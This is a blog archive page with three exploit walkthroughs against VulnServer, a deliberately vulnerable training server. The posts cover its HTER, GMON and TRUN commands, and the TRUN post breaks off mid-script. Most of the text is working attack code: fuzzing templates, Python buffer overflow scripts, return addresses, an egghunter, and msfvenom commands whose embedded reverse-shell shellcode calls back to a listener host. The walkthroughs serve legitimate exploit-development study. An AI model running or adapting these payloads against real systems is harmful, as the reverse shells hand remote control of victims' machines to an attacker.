Browsed by
Month: June 2019

Exploiting HTER in VulnServer

Exploiting HTER in VulnServer

Fresh from completing the GMON buffer overflow exploit its time to move on and start attack the next component. Today we will be exploiting HTER in vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver and get started.

The Spike template is:

s_string("HTER");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Quickly a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that EIP has been overwritten with ‘AAAAAAAA’ . This is highly unusual and not something that I have seen before. Typically I would expect to see ‘\x41\x41\x41\x41’ if it were overwritten with a string of A’s.

EIP Overwrite
EIP Overwrite

Let’s reproduce the EIP overwrite with a Python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = 'A' * 3000

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, submit and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity we see an interesting result. The only characters observed are hex characters. As we exploiting HTER later we will have to be conscious of these characters.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = ("0123456789ABCDEF" * 187)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Let’s resend the payload with only hex characters and observe the result. As we anticipated all the hex characters are returned however it appears that ‘0’ is omitted at the start. We will append a zero to the start of the payload to compensate.

We now know that we have be very careful with an extremely small number of characters allowed to be used as part of our payload. Alternatively we will have to encode them prior to sending our payload and then decode them in memory.

Target the bytes to overwrite EIP

The next step is to identify the exact bytes that overwrite EIP. Normally I would create a pattern with the Metasploit Framework. In this instance though with our limited character selection it will have to be more manual approach by trial and error.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 200
+ "2" * 200
+ "3" * 200
+ "4" * 200
+ "5" * 200
+ "6" * 200
+ "7" * 200
+ "8" * 200
+ "9" * 200
+ "A" * 200
+ "B" * 200
+ "C" * 200
+ "D" * 200
+ "E" * 200
+ "F" * 200
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in immunity debugger EIP was over written with ‘BBBBBBBB’ . We now know that the EIP over write takes place somewhere between 2000 and 2200 bytes. Let’s see if we can narrow it down further. The Python payload is modified as below:

r/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2000
+ "2" * 20
+ "3" * 20
+ "4" * 20
+ "5" * 20
+ "6" * 20
+ "7" * 20
+ "8" * 20
+ "9" * 20
+ "A" * 20
+ "B" * 20
+ "C" * 20
+ "D" * 20
+ "E" * 20
+ "F" * 20
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

We are getting closer to exploiting HTER! EIP over write this time was ‘44444444’ and we now know he payload is between 2040 and 2060 bytes.

EIP Overwrite at '44444444'
EIP is overwritten with ‘44444444’

Once again the Python script is modified to move us closer to the elusive EIP byte offset value.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2040
+ "2" * 2
+ "3" * 2
+ "4" * 2
+ "5" * 2
+ "6" * 2
+ "7" * 2
+ "8" * 2
+ "9" * 2
+ "A" * 2
+ "B" * 2
+ "C" * 2
+ "D" * 2
+ "E" * 2
+ "F" * 930
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Success! The EIP overwrite was successful and we see ‘55443322’. We now know that the offset is 2040 bytes. To be confident we are right we modify the payload one last time. The buffer value is set to:

buffer = ('A' * 2040 + 'B' * 8 + 'C' * 950)

And as expected we see EIP is now ‘BBBBBBBB’.

EIP overwrite with 'BBBBBBBB'
EIP Overwritten at 2040 bytes

Find a JMP to XXX

The next step is find a usable JMP or CALL instruction….. somewhere! Through trial and error it was discovered that the EAX register points to the start of the payload directly after, HTER 0.

There is a DLL in use by the VulnServer and perhaps it contains a JMP EAX instruction. It’s time to take a look but we have to remember the bad character analysis that we performed.

In Immunity we use the mona plugin to identify the JMP EAX This is achieved by using the command !mona jmp -r EAX and we get the following output:

EAX JMP's
JMP Instructions in ESSfunc.dll

Many of the values returned are unsuitable as they contain null bytes The memory address #625011B1 looks good and it’s what we will proceed with. The python script is updated to include ‘B1115062’ and a break point is set at this address. The Python script is executed and Immunity Debugger pauses execution at the break point.

Break point set
Execution paused at the break point

Payload Creation

We are close to the end of the exploit and all that remains now is to create the reverse shell payload for exploiting HTER and include it in our Python code. As always lets use the Metasploit Framework to generate this for us.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
buf = 
"\xdb\xd0\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x4f\xba\xca\x79" +
"\x63\x44\x31\x57\x19\x83\xef\xfc\x03\x57\x15\x28\x8c\x9f" +
"\xac\x25\x6f\x60\x2d\x55\xf9\x85\x1c\x47\x9d\xce\x0d\x57" +
"\xd5\x83\xbd\x1c\xbb\x37\x35\x50\x14\x37\xfe\xde\x42\x76" +
"\xff\xef\x4a\xd4\xc3\x6e\x37\x27\x10\x50\x06\xe8\x65\x91" +
"\x4f\x15\x85\xc3\x18\x51\x34\xf3\x2d\x27\x85\xf2\xe1\x23" +
"\xb5\x8c\x84\xf4\x42\x26\x86\x24\xfa\x3d\xc0\xdc\x70\x19" +
"\xf1\xdd\x55\x7a\xcd\x94\xd2\x48\xa5\x26\x33\x81\x46\x19" +
"\x7b\x4d\x79\x95\x76\x8c\xbd\x12\x69\xfb\xb5\x60\x14\xfb" +
"\x0d\x1a\xc2\x8e\x93\xbc\x81\x28\x70\x3c\x45\xae\xf3\x32" +
"\x22\xa5\x5c\x57\xb5\x6a\xd7\x63\x3e\x8d\x38\xe2\x04\xa9" +
"\x9c\xae\xdf\xd0\x85\x0a\xb1\xed\xd6\xf3\x6e\x4b\x9c\x16" +
"\x7a\xed\xff\x7e\x4f\xc3\xff\x7e\xc7\x54\x73\x4d\x48\xce" +
"\x1b\xfd\x01\xc8\xdc\x02\x38\xac\x73\xfd\xc3\xcc\x5a\x3a" +
"\x97\x9c\xf4\xeb\x98\x77\x05\x13\x4d\xd7\x55\xbb\x3e\x97" +
"\x05\x7b\xef\x7f\x4c\x74\xd0\x9f\x6f\x5e\x67\x98\xf8\xa1" +
"\xd0\x26\xdf\x49\x23\x26\x0e\xd1\xaa\xc0\x5a\xf5\xfa\x5b" +
"\xf3\x6c\xa7\x17\x62\x70\x7d\xbf\x07\xe3\x1a\x3f\x41\x18" +
"\xb5\x68\x06\xee\xcc\xfc\xba\x49\x67\xe2\x46\x0f\x40\xa6" +
"\x9c\xec\x4f\x27\x50\x48\x74\x37\xac\x51\x30\x63\x60\x04" +
"\xee\xdd\xc6\xfe\x40\xb7\x90\xad\x0a\x5f\x64\x9e\x8c\x19" +
"\x69\xcb\x7a\xc5\xd8\xa2\x3a\xfa\xd5\x22\xcb\x83\x0b\xd3" +
"\x34\x5e\x88\xf3\xd6\x4a\xe5\x9b\x4e\x1f\x44\xc6\x70\xca" +
"\x8b\xff\xf2\xfe\x73\x04\xea\x8b\x76\x40\xac\x60\x0b\xd9" +
"\x59\x86\xb8\xda\x4b"

The payload was tidied up with characters ” + and \x removed and inserted into the Python script below.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

#msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

payload = ("dbd0d97424f45f2bc9b14fbaca79634431571983effc035715288c9fac256f602d55f9851c479dce0d57d583bd1cbb3735501437fede4276ffef4ad4c36e3727105006e865914f1585c3185134f32d2785f2e123b58c84f442268624fa3dc0dc7019f1dd557acd94d248a526338146197b4d7995768cbd1269fbb56014fb0d1ac28e93bc8128703c45aef33222a55c57b56ad7633e8d38e204a99caedfd0850ab1edd6f36e4b9c167aedff7e4fc3ff7ec754734d48ce1bfd01c8dc0238ac73fdc3cc5a3a979cf4eb987705134dd755bb3e97057bef7f4c74d09f6f5e6798f8a1d026df4923260ed1aac05af5fa5bf36ca71762707dbf07e31a3f4118b56806eeccfcba4967e2460f40a69cec4f2750487437ac5130636004eeddc6fe40b790ad0a5f649e8c1969cb7ac5d8a23afad522cb830bd3345e88f3d64ae59b4e1f44c670ca8bfff2fe7304ea8b7640ac600bd95986b8da4b")

# 625011B1 JMP EAX
buffer = ('90' * 50 + payload + 'A' * (1940-len(payload)) + 'B1115062' + 'C' *950)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

All that remains is to test our code. A netcat listener is configured to listen on port 4443 and the payload is sent. For some reason nothing happens. The application crashes but our netcat listener doesn’t receive a call back and we need to understand why. It’s time to dive back into Immunity Debugger and observe the execution flow.

EIP is equal to EAX
EIP close to ESP

It took me a while to figure out the issue that was causing the problem. I found a good blog entry by sh3llc0d3r.

If EIP is bigger, than ESP, there is no problem as they are moving away from each other. If EIP is lower than ESP, a problem can raise as they go toward each other and the the program code might change if ESP reaches EIP.

With this information our initial payload was changed from “HTER 0” to “HTER 0505C” and voila we a reverse shell!

Reverse Shell
Reverse Shell Received

It worked! Our payload was executed and the Windows machine established a reverse shell back to our Backtrack machine. The HTER component of the Vulnserver is complete. My next blog post will attempt to exploit other Vulnserver modules.

The full GTER exploit code is in my github.

Exploiting GMON in VulnServer

Exploiting GMON in VulnServer

This article continues on from my series of blog entries exploiting Vulnerver by Stephen Bradshaw.

Fresh from completing the TRUN buffer overflow it’s time to move on and attack the next component. We are going to be fuzzing and exploiting GMON in Vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver.

The Spike template is:

s_string("GMON");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Straight away a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that the ECX and EBP are over written by a series of long ‘A’ strings. In Immunity Debugger by clicking “View -> SeH Chain” it is revealed that the Structured Exception Handler has been over written.

SeH OVerwrite with AAAA
SeH Overwrite

As with the other components in Vulnserver the payload that crashes the application is “GMON /.:/ AAAAA …” . All that remains is to reproduce the crash with a Python program.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/"

buffer = 'A' * 5000         

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, execute it and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity Debugger we can see that we are lucky, aside from \x00 we have no bad characters. This will make payload creation much easier.

Bad Character Analysis
EBX Dump with no bad characters

Target the bytes to overwrite SeH

The next step for exploiting GMON is to identify the exact bytes that overwrite SeH. Once again we define a pattern with the Metasploit Framework. It is packeaged with a nice tool called pattern_create.

root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai .......

The 5000 byte generated pattern is then embedded in our Python code and sent to the Vulnerable Server. In Immunity Debugger the SeH overwrite was observed to be 336E4532.

Generate a Pattern to overwrite SeH
Use a pattern to determine offset for SeH OVerwrite

We need to use the pattern offset tool to determine the byte offset.

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 336E4532 5000
3518

Success! We now know the offset is 3518 bytes.

Find a Pop Pop Ret

The next step is find a usable POP POP RET ….. somewhere! There is a DLL in use by the VulnServer. It’s time to take a look but we have to remember the bad character analysis that we performed. So long as there is no \x00 in the memory address then we should be good to go!

In Immunity we use the mona plugin to identify the POP POP RET. This is achieved by using the command !mona seh and we get the following output:

Mona POP POP RET
Mona POP POP RET

Many of the values returned are unsuitable as they either contain null bytes or they contain bad characters that we previously identified. The memory address #625010B4 looks good and it’s what we will proceed with. The python script is updated to include \xB4\x10\x50\x62 and a breakpoint is set at this address.

nSeH Conditional Jump
Execution paused 4 Bytes before SeH

Our code for exploiting GMON is now …

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'

payload = 'A' * 3518 + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Jump Backwards

From the last picture we can see that there are four bytes to work with before hitting the Structured Exception Handler (SeH). The four bytes \x41\x41\x41\x41 need to be over written with a small payload to allow us to jump somewhere with a little more room. Looking in Immunity Debugger it is observed that there is plenty of space up the stack if we are able to jump backwards. The largest jump back we can make is 128 bytes with the payload \xEB\x80\x90\x90.

With the addition of the backwards jump our code now looks like:

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'

payload = 'A' * 3514 + jump_back + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Egghunter

From our work so far we now have control over 128 bytes of space. Things are are starting to get interesting! What can we do with this space? It’s not nearly big enough to place code for a reverse shell. However we could place an egg hunter in this code to find our payload and exploit GMON.

From CoreLan.be Egg hunting is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.

Let's take the egghunter code from the CoreLAN article... \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Our code now looks like ….

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

payload = 'A' * 3000 + '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

We can view this is Immunity Debugger in the picture below. You can see the NOP sled that leads in to the Egghunter code.

NOP Sled Leading to Egg Hunter Code
NOP Sled to Egg Hunter Code

Exploiting GMON to Catch a Reverse Shell

We are close to the end, all that remains is to create the final payload that we will use to generate a reverse shell. The easiest way to do this is to use the Metasploit Framework to generate the payload for us.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'

The generated payload can now be embedded into our final Python script. Remember we need to place the egg in front of the reverse shell payload for the egghunter to find!

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
egg = 'T00WT00W'

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
#unsigned char buf[] = 
shell = (
"\xda\xc8\xbd\xfd\x66\xdf\xdb\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x4f\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1f\x93\x23\x33\x56"
"\x5c\xdc\xc4\x08\xd4\x39\xf5\x1a\x82\x4a\xa4\xaa\xc0\x1f\x45"
"\x41\x84\x8b\xde\x27\x01\xbb\x57\x8d\x77\xf2\x68\x20\xb8\x58"
"\xaa\x23\x44\xa3\xff\x83\x75\x6c\xf2\xc2\xb2\x91\xfd\x96\x6b"
"\xdd\xac\x06\x1f\xa3\x6c\x27\xcf\xaf\xcd\x5f\x6a\x6f\xb9\xd5"
"\x75\xa0\x12\x62\x3d\x58\x18\x2c\x9e\x59\xcd\x2f\xe2\x10\x7a"
"\x9b\x90\xa2\xaa\xd2\x59\x95\x92\xb8\x67\x19\x1f\xc1\xa0\x9e"
"\xc0\xb4\xda\xdc\x7d\xce\x18\x9e\x59\x5b\xbd\x38\x29\xfb\x65"
"\xb8\xfe\x9d\xee\xb6\x4b\xea\xa9\xda\x4a\x3f\xc2\xe7\xc7\xbe"
"\x05\x6e\x93\xe4\x81\x2a\x47\x85\x90\x96\x26\xba\xc3\x7f\x96"
"\x1e\x8f\x92\xc3\x18\xd2\xfa\x20\x16\xed\xfa\x2e\x21\x9e\xc8"
"\xf1\x99\x08\x61\x79\x07\xce\x86\x50\xff\x40\x79\x5b\xff\x49"
"\xbe\x0f\xaf\xe1\x17\x30\x24\xf2\x98\xe5\xea\xa2\x36\x56\x4a"
"\x13\xf7\x06\x22\x79\xf8\x79\x52\x82\xd2\x0f\x55\x15\x1d\xa7"
"\x59\xc0\xf5\xba\x59\x1d\x5d\x32\xbf\x77\x71\x12\x68\xe0\xe8"
"\x3f\xe2\x91\xf5\x95\x62\x31\x67\x72\x72\x3c\x94\x2d\x25\x69"
"\x6a\x24\xa3\x87\xd5\x9e\xd1\x55\x83\xd9\x51\x82\x70\xe7\x58"
"\x47\xcc\xc3\x4a\x91\xcd\x4f\x3e\x4d\x98\x19\xe8\x2b\x72\xe8"
"\x42\xe2\x29\xa2\x02\x73\x02\x75\x54\x7c\x4f\x03\xb8\xcd\x26"
"\x52\xc7\xe2\xae\x52\xb0\x1e\x4f\x9c\x6b\x9b\x7f\xd7\x31\x8a"
"\x17\xbe\xa0\x8e\x75\x41\x1f\xcc\x83\xc2\x95\xad\x77\xda\xdc"
"\xa8\x3c\x5c\x0d\xc1\x2d\x09\x31\x76\x4d\x18")

payload = '\x90' * 2000 + egg+ shell +'\x90' * (1000-len(shell+egg))+ '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

After all of our hard work we can see that it has been paid off. A reverse shell was received. We have successfully exploited GMON!

Reverse Shell from Vulnserver
Netcat caught the reverse shell
Exploiting TRUN in VulnServer

Exploiting TRUN in VulnServer

In my previous blog post,”Fuzzing Vulnserver with Spike and Wireshark” , I used Spike to fuzz VulnServer and find an entry point to cause the application to crash by overwriting EIP. Today I am going to build upon that work by modifying the exploit payload and hopefully achieving remote code execution by catching a reverse shell.

Target and Control EIP

As demonstrated previously by sending 5000 ‘A’s we could see that EIP was overwritten with \x41\x41\x41\x41, ( \x41 is the hex equivalent of A). However we need to improve upon this and overwrite EIP with exactly the packets required.

Screenshot of msf pattern offset
./pattern_create.rb 5000

Using the pattern_create.rb tool provided by the Metasploit Framework we generate a 5000 byte pattern that we can use in our exploit payload. After we have successfully overwritten EIP, we must take note of the value contained in the register and feed this value to pattern_offset.rb. We can then determine at which point in the random string the value appears. Our Python code now looks like …

#!/usr/bin/python
import socket
import os
import sys

#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 
############### Lines Snipped to save space for blog ######################
5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5 
i6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk
"
print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

The exploit payload is sent to VulnServer which is being debugged by Immunity Debugger. We can see that EIP has been overwritten with a value of 6F43376F. (Take note that ESP looks nice for exploit code placement as we can see our code in there already)

EIP Over Write Test
EIP overwrite value is 6F43376F

Now that we know the EIP value we can calculate the offset which is 2002.

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 6F43376F 
2002

The value of 2002 can now be incorporated into our Python script and sent to the Vulnerable Server.

#!/usr/bin/python
import socket
import os
import sys

#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "
buffer = 'A' * 2002 + '\x42\x42\x42\x42' + 'C' * 2994

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

So far we have been using an exlploit payload of 5000 bytes and we need to ensure that we maintain this as we modify our payload. As can be seen above the payload now contains 2002 ‘A’s , 4 ‘B’s and 2994 ‘C’s . We can now confirm this with Immunity Debugger.

EIP Overwrite Occurred
EIP Overwritten with 42424242 as expected

Success! We have control over EIP and we can place the specific packets that we want. It’s almost time to move on but before we go any further lets identify if there are any bad characters.

Identifying Bad Characters

Before generating shell code we need to know if there are characters that will cause the payload to fail. Typically \x00 \x0a and \x0d will cause issues. When you think about it, this makes sense. Most applications that accept input will start to process it after receiving a carriage return (\x0d). To test for bad characters we generate all possible 256 characters in a payload and analyse the stack to check that none have been malformed. Lets get started and test.

#!/usr/bin/python
import socket
import os
import sys

#crash = "TRUN /.:/ " + "A" *5000
crash = "TRUN /.:/ "
badchars = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f
\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21
\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33
\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45
\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57
\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69
\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b
\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d
